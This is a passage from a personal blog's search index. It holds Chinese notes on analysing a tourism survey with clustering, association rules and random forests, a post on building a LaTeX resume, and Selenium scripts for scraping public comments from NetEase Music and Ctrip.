scatter_data = pd.DataFrame(columns=[\u0026#39;Antecedent1\u0026#39;, \u0026#39;Antecedent2\u0026#39;, \u0026#39;Consequent\u0026#39;, \u0026#39;Support\u0026#39;, \u0026#39;Lift\u0026#39;]) for index, row in rules.iterrows(): antecedents = list(row[\u0026#39;antecedents\u0026#39;]) consequent = next(iter(row[\u0026#39;consequents\u0026#39;])) if len(antecedents) == 2: # 确保前件有两个元素 scatter_data.loc[index] = [ category_mapping[antecedents[0]], category_mapping[antecedents[1]], category_mapping[consequent], row[\u0026#39;support\u0026#39;], row[\u0026#39;lift\u0026#39;] ] # 定义颜色映射和规范化实例 cmap = plt.get_cmap(\u0026#39;viridis\u0026#39;) # 使用matplotlib内置的颜色映射 norm = mcolors.Normalize(vmin=scatter_data[\u0026#39;Lift\u0026#39;].min(), vmax=scatter_data[\u0026#39;Lift\u0026#39;].max()) # 根据提升度的最小值和最大值创建规范化实例 # 绘制三维散点图 fig = plt.figure(figsize=(25, 10)) # 调整图表大小 ax = fig.add_subplot(111, projection=\u0026#39;3d\u0026#39;) # 散点图绘制 points = ax.scatter( scatter_data[\u0026#39;Antecedent1\u0026#39;], scatter_data[\u0026#39;Antecedent2\u0026#39;], scatter_data[\u0026#39;Consequent\u0026#39;], s=scatter_data[\u0026#39;Support\u0026#39;]*150, # 泡泡大小基于支持度 c=[cmap(norm(val)) for val in scatter_data[\u0026#39;Lift\u0026#39;]], # 颜色基于提升度 alpha=0.6 ) # 调整坐标轴标签为题目名称，并调整字体大小和旋转角度 ax.set_xticks(list(category_mapping.values())) ax.set_xticklabels(list(category_mapping.keys()), rotation=45, ha=\u0026#34;right\u0026#34;, fontsize=8) # 调整X轴标签 ax.set_yticks(list(category_mapping.values())) ax.set_yticklabels(list(category_mapping.keys()), rotation=-45, ha=\u0026#34;left\u0026#34;, fontsize=8) # 调整Y轴标签 ax.set_zticks(list(category_mapping.values())) ax.set_zticklabels(list(category_mapping.keys()), fontsize=8) # 调整Z轴标签字体大小 # 调整视角 ax.view_init(elev=20, azim=-45) # 调整视角 # 添加颜色条 sm = plt.cm.ScalarMappable(cmap=cmap, norm=norm) sm.set_array([]) cbar = fig.colorbar(sm, shrink=0.4, aspect=15, label=\u0026#39;提升度\u0026#39;) cbar.ax.tick_params(labelsize=8) # 调整颜色条刻度的字体大小 plt.show() 生成动态gif\nimport matplotlib.pyplot as plt import pandas as pd from mpl_toolkits.mplot3d import Axes3D import matplotlib.colors as mcolors import numpy as np import imageio # 用于生成GIF # 假设 scatter_data 已经正确定义，且包含必要的列 # 绘制三维散点图的函数 def plot_3d(ax, azim): ax.clear() # 清除之前的绘图 # 散点图绘制 ax.scatter( scatter_data[\u0026#39;Antecedent1\u0026#39;], scatter_data[\u0026#39;Antecedent2\u0026#39;], scatter_data[\u0026#39;Consequent\u0026#39;], s=scatter_data[\u0026#39;Support\u0026#39;]*150, # 泡泡大小基于支持度 c=[cmap(norm(val)) for val in scatter_data[\u0026#39;Lift\u0026#39;]], # 颜色基于提升度 alpha=0.6 ) # 设置坐标轴标签 ax.set_xticks(list(category_mapping.values())) ax.set_xticklabels(list(category_mapping.keys()), rotation=45, ha=\u0026#34;right\u0026#34;, fontsize=8) ax.set_yticks(list(category_mapping.values())) ax.set_yticklabels(list(category_mapping.keys()), rotation=-45, ha=\u0026#34;left\u0026#34;, fontsize=8) ax.set_zticks(list(category_mapping.values())) ax.set_zticklabels(list(category_mapping.keys()), fontsize=8) # 调整视角 ax.view_init(elev=20, azim=azim) # 旋转视角 # 由于在函数内部调用 plt.show() 或 plt.savefig() 会阻断循环，我们在这里不调用它们 # 创建GIF的帧 filenames = [] fig = plt.figure(figsize=(25, 10)) ax = fig.add_subplot(111, projection=\u0026#39;3d\u0026#39;) for azim in range(0, 90, 2): # 从-45度旋转到315度，每次增加2度 plot_3d(ax, azim) # 绘图 filename = f\u0026#39;frame_{azim}.png\u0026#39; plt.savefig(filename) # 保存帧 filenames.append(filename) # 使用imageio生成GIF images = [] for filename in filenames: images.append(imageio.imread(filename)) imageio.mimsave(\u0026#39;rotation.gif\u0026#39;, images, fps=20) # 调整fps（每秒帧数）根据需要 # 清理临时生成的PNG文件 import os for filename in filenames: os.remove(filename) antecedent_mapping = category_mapping antecedent_mapping_reverse = inverse_mapping consequent_mapping = category_mapping consequent_mapping_reverse = inverse_mapping q30_options = [\u0026#39;体育项目\u0026#39;, \u0026#39;网红打卡点\u0026#39;, \u0026#39;趣味项目\u0026#39;, \u0026#39;民族服饰\u0026#39;, \u0026#39;专业旅拍\u0026#39;, \u0026#39;特色民宿\u0026#39;] q31_options = [\u0026#39;盘县火腿\u0026#39;, \u0026#39;刺梨系列产品\u0026#39;, \u0026#39;盘州茶叶\u0026#39;, \u0026#39;核桃乳\u0026#39;, \u0026#39;人民小酒\u0026#39;, \u0026#39;银杏系列商品\u0026#39;, \u0026#39;民族手工制品\u0026#39;, \u0026#39;彝族服饰\u0026#39;] q32_options = [\u0026#39;非遗火腿工艺参观\u0026#39;, \u0026#39;非遗技艺制作地方特色小吃体验\u0026#39;, \u0026#39;非遗剪纸体验\u0026#39;, \u0026#39;古法造纸参观\u0026#39;, \u0026#39;民族刺绣体验\u0026#39;, \u0026#39;民族蜡染体验\u0026#39;, \u0026#39;民族歌舞表演\u0026#39;] # 遍历scatter_data for i, row in scatter_data.iterrows(): lift = row[\u0026#39;Lift\u0026#39;] # 只输出提升度大于1.45的规则 if lift \u0026gt; 1.3: antecedent1 = antecedent_mapping_reverse.get(row[\u0026#39;Antecedent1\u0026#39;], \u0026#39;Unknown\u0026#39;) antecedent2 = antecedent_mapping_reverse.get(row[\u0026#39;Antecedent2\u0026#39;], \u0026#39;Unknown\u0026#39;) consequent = consequent_mapping_reverse.get(row[\u0026#39;Consequent\u0026#39;], \u0026#39;Unknown\u0026#39;) support = row[\u0026#39;Support\u0026#39;] # 检查前件和后件是否包含q30、q31和q32中的任意一个问题 if ((antecedent1 in q30_options and antecedent2 in q31_options and consequent in q32_options) or (antecedent1 in q30_options and antecedent2 in q32_options and consequent in q31_options) or (antecedent1 in q31_options and antecedent2 in q30_options and consequent in q32_options) or (antecedent1 in q31_options and antecedent2 in q32_options and consequent in q30_options) or (antecedent1 in q32_options and antecedent2 in q30_options and consequent in q31_options) or (antecedent1 in q32_options and antecedent2 in q31_options and consequent in q30_options)): print(f\u0026#34;规则: {antecedent1}, {antecedent2} =\u0026gt; {consequent}, 支持度: {support:.2f}, 提升度: {lift:.2f}\u0026#34;) 客户粘性分析 游客画像作为自变量，客户粘性作为因变量进行分析\n比较关心的是客户粘性打分为4/5的客户，看他们的游客画像是什么。\n第一个思路是，把去过的游客先进行聚类，再把聚类的结果来看哪一类人群的粘性最高；在数据处理的逻辑上思路更好。 第二个思路是，把游客的基本信息不处理，全部丢给随机森林进行处理 客户粘性题号：Q26|1\n游客基本信息：columns 游客画像聚类结果：\n注：运行此段代码前，先运行“开始聚类”代码\n# 查看Q26的打分分布 print(\u0026#34;查看Q26的打分分布\\n\u0026#34;,df_gone[\u0026#39;Q26|1\u0026#39;].value_counts()) # 查看总的数据量 print(\u0026#34;\\n查看总的数据量\\n\u0026#34;,df_gone.shape) # 检查游客基本信息的题号，排除开放性题号 print(\u0026#34;\\n检查游客基本信息的题号，排除开放性题号\\n\u0026#34;,columns) # 聚类结果统计 print(\u0026#34;\\n聚类结果统计\\n \u0026#34;,df_gone[\u0026#39;k-prototypes cluster\u0026#39;].value_counts()) 对df_gone进行聚类 # 思路1 把去过的游客先进行聚类，再把聚类的结果来看哪一类人群的粘性最高 from kmodes.kprototypes import KPrototypes # 列表中的列名 # columns = [\u0026#39;Q1\u0026#39;, \u0026#39;Q2\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;] columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q15\u0026#39;] # 数值型列 numerical_columns = [\u0026#39;Q2\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;] # 类别型列 categorical_columns = [col for col in columns if col not in numerical_columns] # 将类别型列的索引转换为数字 categorical_columns_indices = [columns.index(col) for col in categorical_columns] # 初始化 K-原型聚类器 kproto = KPrototypes(n_clusters=4, init=\u0026#39;Cao\u0026#39;, verbose=2) # 对所有游客进行聚类 clusters = kproto.fit_predict(df_gone[columns].values, categorical=categorical_columns_indices) # 将聚类结果添加到数据集作为新的特征 df_gone[\u0026#39;k-prototypes cluster\u0026#39;] = clusters # 想查看每个簇的中心点 print(kproto.cluster_centroids_) # 查看每个簇的数量 print(df_gone[\u0026#39;k-prototypes cluster\u0026#39;].value_counts()) df_gone.head() 可视化 from sklearn.decomposition import PCA from sklearn.manifold import TSNE from umap import UMAP import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D # 数据 X = df_gone[columns].values # 创建PCA，t-SNE，UMAP对象 pca = PCA(n_components=2) tsne = TSNE(n_components=2) umap = UMAP(n_components=2) # 降维 X_pca = pca.fit_transform(X) X_tsne = tsne.fit_transform(X) X_umap = umap.fit_transform(X) # 创建图形和子图 fig, axs = plt.subplots(3, 2, figsize=(15, 20)) # 绘制二维版本 axs[0, 0].scatter(X_pca[:, 0], X_pca[:, 1], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[0, 0].set_title(\u0026#39;PCA 2D\u0026#39;) fig.colorbar(sc, ax=axs[0, 0], shrink=0.6) axs[1, 0].scatter(X_tsne[:, 0], X_tsne[:, 1], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[1, 0].set_title(\u0026#39;t-SNE 2D\u0026#39;) fig.colorbar(sc, ax=axs[1, 0], shrink=0.6) axs[2, 0].scatter(X_umap[:, 0], X_umap[:, 1], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[2, 0].set_title(\u0026#39;UMAP 2D\u0026#39;) fig.colorbar(sc, ax=axs[2, 0], shrink=0.6) # 创建PCA，t-SNE，UMAP对象 pca = PCA(n_components=3) tsne = TSNE(n_components=3) umap = UMAP(n_components=3) # 降维 X_pca = pca.fit_transform(X) X_tsne = tsne.fit_transform(X) X_umap = umap.fit_transform(X) # 绘制三维版本 axs[0, 1] = fig.add_subplot(3, 2, 2, projection=\u0026#39;3d\u0026#39;) axs[0, 1].scatter(X_pca[:, 0], X_pca[:, 1], X_pca[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[0, 1].set_title(\u0026#39;PCA 3D\u0026#39;) fig.colorbar(sc, ax=axs[0, 1], shrink=0.6, pad=0.2) # 修改的代码 axs[1, 1] = fig.add_subplot(3, 2, 4, projection=\u0026#39;3d\u0026#39;) axs[1, 1].scatter(X_tsne[:, 0], X_tsne[:, 1], X_tsne[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[1, 1].set_title(\u0026#39;t-SNE 3D\u0026#39;) fig.colorbar(sc, ax=axs[1, 1], shrink=0.6, pad=0.2) # 修改的代码 axs[2, 1] = fig.add_subplot(3, 2, 6, projection=\u0026#39;3d\u0026#39;) axs[2, 1].scatter(X_umap[:, 0], X_umap[:, 1], X_umap[:, 2], c=clusters, cmap=\u0026#39;viridis\u0026#39;, alpha=0.5) axs[2, 1].set_title(\u0026#39;UMAP 3D\u0026#39;) fig.colorbar(sc, ax=axs[2, 1], shrink=0.6, pad=0.2) # 修改的代码 plt.tight_layout() plt.show() 描述性统计 分析df_gone中的\u0026rsquo;k-prototypes cluster\u0026rsquo;和\u0026rsquo;Q26|1\u0026rsquo;之间的关系\n卡方检验：如果p值小于0.05，那么我们可以拒绝零假设，认为\u0026rsquo;k-prototypes cluster\u0026rsquo;和\u0026rsquo;Q26|1\u0026rsquo;之间存在显著的关系。如果p值大于0.05，那么我们不能拒绝零假设，认为\u0026rsquo;k-prototypes cluster\u0026rsquo;和\u0026rsquo;Q26|1\u0026rsquo;之间不存在显著的关系。\nfrom scipy.stats import chi2_contingency # 创建列联表 contingency_table = pd.crosstab(df_gone[\u0026#39;k-prototypes cluster\u0026#39;], df_gone[\u0026#39;Q26|1\u0026#39;] \u0026gt;= 4) # 进行卡方检验 chi2, p, dof, expected = chi2_contingency(contingency_table) print(f\u0026#34;Chi-square value: {chi2}\u0026#34;) print(f\u0026#34;P-value: {p}\u0026#34;) print(f\u0026#34;Degrees of freedom: {dof}\u0026#34;) import seaborn as sns # 创建新的二元变量 df_gone[\u0026#39;Q26|1_high_score\u0026#39;] = (df_gone[\u0026#39;Q26|1\u0026#39;] \u0026gt;= 4) # 绘制计数图 sns.countplot(x=\u0026#39;k-prototypes cluster\u0026#39;, hue=\u0026#39;Q26|1_high_score\u0026#39;, data=df_gone) plt.show() 随机森林模型 自变量是聚类的结果，因变量是Q26的打分（这个不行） 方法二可以做随机森林\n我想研究的是哪一类人群在Q26的打分更高，我比较关注打分在大于等于4分的人群是哪一类\nfrom sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import train_test_split from sklearn.metrics import classification_report # 定义自变量和因变量 X = df_gone[columns] y = df_gone[\u0026#39;Q26|1\u0026#39;].values # 划分训练集和测试集 X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) # 创建随机森林模型 clf = RandomForestClassifier(n_estimators=100, random_state=42) # 训练模型 clf.fit(X_train, y_train) # 预测测试集 y_pred = clf.predict(X_test) # 打印分类报告 print(classification_report(y_test, y_pred)) import shap import numpy as np # 创建解释器 explainer = shap.TreeExplainer(clf) # 计算SHAP值 shap_values = explainer.shap_values(X_test) # 创建类别标签 class_labels = [\u0026#39;Class 1\u0026#39;, \u0026#39;Class 2\u0026#39;, \u0026#39;Class 3\u0026#39;, \u0026#39;Class 4\u0026#39;, \u0026#39;Class 5\u0026#39;] # 设置图形大小 plt.figure(figsize=(40, 10)) # 绘制所有类别的SHAP值概览图（保持原始顺序） plt.subplot(1, 3, 1) shap.summary_plot(shap_values, X_test, class_names=class_labels, plot_type=\u0026#34;bar\u0026#34;, show=False) plt.title(\u0026#34;All Classes Feature Importance\u0026#34;) # 绘制类别4的特征贡献度 plt.subplot(1, 3, 2) shap.summary_plot(shap_values[3][:, sorted_indices_class_4], X_test.iloc[:, sorted_indices_class_4], plot_type=\u0026#34;bar\u0026#34;, feature_names=X_test.columns[sorted_indices_class_4], show=False) plt.title(\u0026#34;Class 4 Feature Importance\u0026#34;) # 绘制类别5的特征贡献度 plt.subplot(1, 3, 3) shap.summary_plot(shap_values[4][:, sorted_indices_class_5], X_test.iloc[:, sorted_indices_class_5], plot_type=\u0026#34;bar\u0026#34;, feature_names=X_test.columns[sorted_indices_class_5], show=False) plt.title(\u0026#34;Class 5 Feature Importance\u0026#34;) plt.tight_layout() plt.show() shap.summary_plot(shap_values, X_test, class_names=class_labels, plot_type=\u0026#34;bar\u0026#34;, show=False) plt.title(\u0026#34;All Classes Feature Importance\u0026#34;) # mean(|SHAP value|)(average impact on model output magnitude) ","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/wumengtrip/","summary":"数据的预处理 删除答题时间小于1分钟的 对异常数据进行一些修改 检查有没有重复的问卷 保留研究所需要的列 处理公共题目缺失值 把数据分为总数据df，来过游客的数据df_gone，没有来过游客的数据df_not_gone，所有原始信息保留 对于df_gone和df_not_gone分别应用孤立森林清洗异常问卷 得到最后的数据集df, df_gone, df_not_gone import pandas as pd df = pd.read_csv(\u0026#39;乌蒙大草原旅游问卷调查_final.csv\u0026#39;) print(df.shape) df.head() 这两段代码主要是排除答题时间小于60s的问卷，不过问卷网上可以直接进行筛选\n# 先把答题时间转换为时间格式 def convert_to_seconds(time_str): if \u0026#39;分\u0026#39; in time_str: minutes, seconds = time_str[:-1].split(\u0026#39;分\u0026#39;) return int(minutes) * 60 + int(seconds) else: return int(time_str[:-1]) df[\u0026#39;答题时长\u0026#39;] = df[\u0026#39;答题时长\u0026#39;].astype(str) df[\u0026#39;答题时长\u0026#39;] = pd.to_timedelta(df[\u0026#39;答题时长\u0026#39;].apply(convert_to_seconds), unit=\u0026#39;s\u0026#39;) # 删除答题时间小于1分钟的数据 df = df[df[\u0026#39;答题时长\u0026#39;] \u0026gt; \u0026#39;00:01:00\u0026#39;] print(df.shape) df.head() 针对Q2年龄的一些数据问题进行处理\nimport seaborn as sns import matplotlib.pyplot as plt # 查看Q2有没有非数字的数据 df[\u0026#39;Q2\u0026#39;].unique() # 修改数据 df[\u0026#39;Q2\u0026#39;] = df[\u0026#39;Q2\u0026#39;].","title":"全国大学生市场调研大赛-数据分析"},{"content":"修改后的效果图 👉项目地址：sirius2alpha/resume\n🍴Fork from： hijiangtao/resume\nLaTex简介 LaTeX是一种基于TeX的排版系统，广泛用于生成科学和数学文档的高质量排版。在LaTeX中，你可以使用各种命令和环境来结构化文档并控制其外观。以下是LaTeX项目的基本结构和语法：\nLaTeX项目结构 文档类声明（Document Class Declaration）\n在文档的最开始，你需要声明文档类，例如\\documentclass{article}。这行代码定义了文档的类型和基本布局。 宏包（Packages）\n使用\\usepackage{}命令来引入宏包。宏包提供了额外的功能，如增强的数学公式支持（amsmath）、图像插入（graphicx）等。 文档设置（Document Settings）\n在\\begin{document}之前，可以定义一些全局设置，如页面布局、自定义命令等。 正文内容（Document Content）\n\\begin{document}和\\end{document}之间的内容是文档的主体。这里包含了所有的文本内容、图表、公式等。 环境（Environments）\n在文档中，可以使用各种环境来区分文本的不同部分，例如列表（itemize）、表格（tabular）、数学模式（equation）等。 LaTeX语法 命令（Commands）\nLaTeX命令以反斜杠\\开头，如\\textbf{}用于加粗文本。 命令可能需要参数，参数放在花括号{}中；也可能有可选参数，放在方括号[]中。 环境（Environments）\n环境用于改变一段文本的行为或布局，格式为\\begin{environment} ... \\end{environment}。 例如，itemize环境用于创建无序列表。 注释（Comments）\n使用百分号%开始注释，注释内容不会出现在最终文档中。 特殊字符（Special Characters）\n一些字符在LaTeX中有特殊意义，如%、$、\u0026amp;等，如果需要在文档中直接显示这些字符，通常需要在前面加上反斜杠\\。 数学模式（Math Mode）\n用$...$来标记行内数学内容，用\\[...\\]或$$...$$来标记独立的数学块。 通过组合这些结构和语法元素，你可以创建出结构化且格式严谨的文档。LaTeX的学习曲线可能相对陡峭，但它能够为复杂的文档排版提供强大且灵活的功能。\n一些修改：修改heading，添加照片布局 在resume.cls文件中新增了一些命令：\n- \\tableInfo：姓名、主页左对齐；电话、邮箱右对齐\n- \\rightInfo:姓名、主页、电话、邮箱右对齐\n- \\leftInfo：姓名、主页、电话、邮箱左对齐\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E5%B7%A5%E5%85%B7%E9%85%8D%E7%BD%AE/latex_resume/","summary":"修改后的效果图 👉项目地址：sirius2alpha/resume\n🍴Fork from： hijiangtao/resume\nLaTex简介 LaTeX是一种基于TeX的排版系统，广泛用于生成科学和数学文档的高质量排版。在LaTeX中，你可以使用各种命令和环境来结构化文档并控制其外观。以下是LaTeX项目的基本结构和语法：\nLaTeX项目结构 文档类声明（Document Class Declaration）\n在文档的最开始，你需要声明文档类，例如\\documentclass{article}。这行代码定义了文档的类型和基本布局。 宏包（Packages）\n使用\\usepackage{}命令来引入宏包。宏包提供了额外的功能，如增强的数学公式支持（amsmath）、图像插入（graphicx）等。 文档设置（Document Settings）\n在\\begin{document}之前，可以定义一些全局设置，如页面布局、自定义命令等。 正文内容（Document Content）\n\\begin{document}和\\end{document}之间的内容是文档的主体。这里包含了所有的文本内容、图表、公式等。 环境（Environments）\n在文档中，可以使用各种环境来区分文本的不同部分，例如列表（itemize）、表格（tabular）、数学模式（equation）等。 LaTeX语法 命令（Commands）\nLaTeX命令以反斜杠\\开头，如\\textbf{}用于加粗文本。 命令可能需要参数，参数放在花括号{}中；也可能有可选参数，放在方括号[]中。 环境（Environments）\n环境用于改变一段文本的行为或布局，格式为\\begin{environment} ... \\end{environment}。 例如，itemize环境用于创建无序列表。 注释（Comments）\n使用百分号%开始注释，注释内容不会出现在最终文档中。 特殊字符（Special Characters）\n一些字符在LaTeX中有特殊意义，如%、$、\u0026amp;等，如果需要在文档中直接显示这些字符，通常需要在前面加上反斜杠\\。 数学模式（Math Mode）\n用$...$来标记行内数学内容，用\\[...\\]或$$...$$来标记独立的数学块。 通过组合这些结构和语法元素，你可以创建出结构化且格式严谨的文档。LaTeX的学习曲线可能相对陡峭，但它能够为复杂的文档排版提供强大且灵活的功能。\n一些修改：修改heading，添加照片布局 在resume.cls文件中新增了一些命令：\n- \\tableInfo：姓名、主页左对齐；电话、邮箱右对齐\n- \\rightInfo:姓名、主页、电话、邮箱右对齐\n- \\leftInfo：姓名、主页、电话、邮箱左对齐","title":"使用LaTex制作中文简历"},{"content":"网络爬虫记录 前置知识 网站的加载形式有两种：静态加载和动态加载\n静态加载 在静态加载中，当你访问一个网页时，服务器会发送一个完整的HTML页面。\n所有的内容，包括文本、图片和链接，都嵌入在这个HTML文档中。\nCSS和JavaScript通常作为外部文件加载，但它们主要用于增强页面的外观和感觉，而不是改变内容。\n对爬虫的影响：\n易于爬取：静态页面可以直接通过HTTP请求获取，然后使用HTML解析器（如BeautifulSoup）提取所需信息。\n无需执行JavaScript：不需要处理JavaScript生成的内容。\n动态加载 动态加载的网页通常使用Ajax（Asynchronous JavaScript and XML）或其他JavaScript框架来异步加载数据。\n当你访问这样的网页时，初始的HTML文档可能不包含所有内容。随后，JavaScript会被执行来加载更多数据。\n这些数据可能来自服务器的额外HTTP请求，通常返回JSON或XML格式的数据。\n对爬虫的影响：\n更复杂的爬取过程：由于内容是动态加载的，传统的HTTP请求和HTML解析可能无法获取所有数据。\n需要模拟浏览器或分析JavaScript：可能需要使用如Selenium之类的工具来模拟浏览器行为，或分析JavaScript代码和网络请求来直接获取数据。\n可能涉及到更多的反爬机制：动态加载的网站可能有更复杂的反爬虫策略。\nSelenium库 在刷新网易云音乐的一首歌曲下面的评论的时候，发现浏览器的URL都没有发生变化，应该是采用Ajax刷新了网页的部分内容。\n对于这样网站的爬虫有两个思路：\n在浏览器的控制台上刷新时候查看“网络”部分，分析发送的请求，在相应的进行模拟 使用selenium工具进行模拟 本次任务采用selenium进行模拟进行爬取评论。\n然后会得到一堆.txt文件，用python或者shell脚本把他们合在一起，接下来进行数据分析\n代码附录 代码1 网易云音乐评论网络爬虫 from selenium import webdriver from selenium.webdriver.common.by import By from time import sleep # 创建ChromeOptions对象并启用无头模式 chrome_options = webdriver.ChromeOptions() chrome_options.add_argument(\u0026#39;--headless\u0026#39;) driver = webdriver.Chrome(options=chrome_options) # 打开网站 driver.get(\u0026#39;https://music.163.com/#/song?id=1392155391\u0026#39;) # 设定起始页号 page_number = 1 # 定位元素框架 comment_frame = driver.switch_to.frame(\u0026#39;g_iframe\u0026#39;) while page_number\u0026lt;260: # 滚动到页面底部，确保所有的评论都被加载 driver.execute_script(\u0026#34;window.scrollTo(0, document.body.scrollHeight);\u0026#34;) # 等待一段时间，让评论加载 sleep(2) # 定位评论和时间 comments = driver.find_elements(By.CSS_SELECTOR, \u0026#34;.cnt.f-brk\u0026#34;) times = driver.find_elements(By.CSS_SELECTOR, \u0026#34;.time.s-fc4\u0026#34;) # 写入到文件 with open(f\u0026#39;comments_page_{page_number}.txt\u0026#39;, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: for comment in comments: # 提取评论用户名、文本、时间 text = comment.text time = times[comments.index(comment)].text # 在控制台打印评论 print(f\u0026#39;page_{page_number}:\u0026#39;+time+\u0026#39; \u0026#39;+text) # 写入文件 f.write(time+\u0026#39; \u0026#39;+text + \u0026#39;\\n\u0026#39;) # 翻到下一页 try: next_page_button = driver.find_element(By.CSS_SELECTOR, \u0026#39;.zbtn.znxt\u0026#39;) next_page_button.click() page_number += 1 except Exception as e: # 如果找不到 \u0026#34;下一页\u0026#34; 按钮，说明已经到达最后一页，跳出循环 break # 事实上，他会一直在最后一个页面循环输出相同的结果 # 解决方法1：手动终止程序，删除多余的txt # 解决方法2：写成for循环，硬编码最大页数 # !!这里采用了硬编码最大页数的方法 # 关闭浏览器和结束 WebDriver 会话 driver.quit() 代码2 携程旅行网站爬虫 from selenium import webdriver from selenium.webdriver.common.by import By from time import sleep from bs4 import BeautifulSoup # 创建ChromeOptions对象并启用无头模式 chrome_options = webdriver.ChromeOptions() chrome_options.add_argument(\u0026#39;--headless\u0026#39;) driver = webdriver.Chrome(options=chrome_options) # 打开网站 driver.get(\u0026#39;https://you.ctrip.com/sight/pancounty2369/134972.html\u0026#39;) # 设定起始页号 page_number = 1 # 点击按照时间排序 element = driver.find_element(By.CSS_SELECTOR,\u0026#39;.sortTag\u0026#39;) element.click() while page_number\u0026lt;141: # 滚动到页面底部，确保所有的评论都被加载 driver.execute_script(\u0026#34;window.scrollTo(0, document.body.scrollHeight);\u0026#34;) # 等待一段时间，让评论加载 sleep(2) # 定位评论和IP地址 comments = driver.find_elements(By.CSS_SELECTOR, \u0026#34;.commentDetail\u0026#34;) times= driver.find_elements(By.CSS_SELECTOR, \u0026#34;.commentTime\u0026#34;) ipContent = driver.find_elements(By.CSS_SELECTOR, \u0026#34;.ipContent\u0026#34;) # 写入到文件 with open(f\u0026#39;comments_page_{page_number}.txt\u0026#39;, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: for comment, time in zip(comments, times): # 提取评论用户名、文本、时间 text = comment.text ip = ipContent[comments.index(comment)].text # 获取 WebElement 对象的 outerHTML 属性 html = time.get_attribute(\u0026#39;outerHTML\u0026#39;) soup = BeautifulSoup(html, \u0026#39;html.parser\u0026#39;) # 找到 div 和 span 元素 div = soup.find(\u0026#39;div\u0026#39;, class_=\u0026#39;commentTime\u0026#39;) span = div.find(\u0026#39;span\u0026#39;, class_=\u0026#39;ipContent\u0026#39;) # 获取 div 和 span 的文本 div_text = div.get_text(strip=True) span_text = span.get_text(strip=True) # 从 div 的文本中移除 span 的文本 time_text = div_text.replace(span_text, \u0026#39;\u0026#39;) # 在控制台打印评论 print(f\u0026#39;page_{page_number}:\u0026#39; + ip + \u0026#39; \u0026#39; + time_text + \u0026#39; \u0026#39; + text) # 写入文件 f.write(ip + \u0026#39; \u0026#39; + time_text + \u0026#39; \u0026#39; + text + \u0026#39;\\n\u0026#39;) # 翻到下一页 try: next_page_button = driver.find_element(By.CSS_SELECTOR, \u0026#39;.ant-pagination-next\u0026#39;) # next_page_button.click() driver.execute_script(\u0026#34;arguments[0].click();\u0026#34;, next_page_button) page_number += 1 except Exception as e: # 如果找不到 \u0026#34;下一页\u0026#34; 按钮，说明已经到达最后一页，跳出循环 print(\u0026#34;没有找到下一页\u0026#34;) print(e) break # 事实上，他会一直在最后一个页面循环输出相同的结果 # 解决方法1：手动终止程序，删除多余的txt # 解决方法2：写成for循环，硬编码最大页数 # !!这里采用了硬编码最大页数的方法 # 关闭浏览器和结束 WebDriver 会话 driver.quit() 代码3 merge_all_txt.py import glob # 找到所有的 \u0026#39;comments_page_{page_number}.txt\u0026#39; 文件 filenames = glob.glob(\u0026#39;comments_page_*.txt\u0026#39;) # 打开 \u0026#39;comments.txt\u0026#39; 文件 with open(\u0026#39;comments.txt\u0026#39;, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as outfile: for fname in filenames: # 打开每个 \u0026#39;comments_page_{page_number}.txt\u0026#39; 文件 with open(fname, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as infile: # 将文件的内容写入到 \u0026#39;comments.txt\u0026#39; 文件中 for line in infile: outfile.write(line) ","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/spider/","summary":"网络爬虫记录 前置知识 网站的加载形式有两种：静态加载和动态加载\n静态加载 在静态加载中，当你访问一个网页时，服务器会发送一个完整的HTML页面。\n所有的内容，包括文本、图片和链接，都嵌入在这个HTML文档中。\nCSS和JavaScript通常作为外部文件加载，但它们主要用于增强页面的外观和感觉，而不是改变内容。\n对爬虫的影响：\n易于爬取：静态页面可以直接通过HTTP请求获取，然后使用HTML解析器（如BeautifulSoup）提取所需信息。\n无需执行JavaScript：不需要处理JavaScript生成的内容。\n动态加载 动态加载的网页通常使用Ajax（Asynchronous JavaScript and 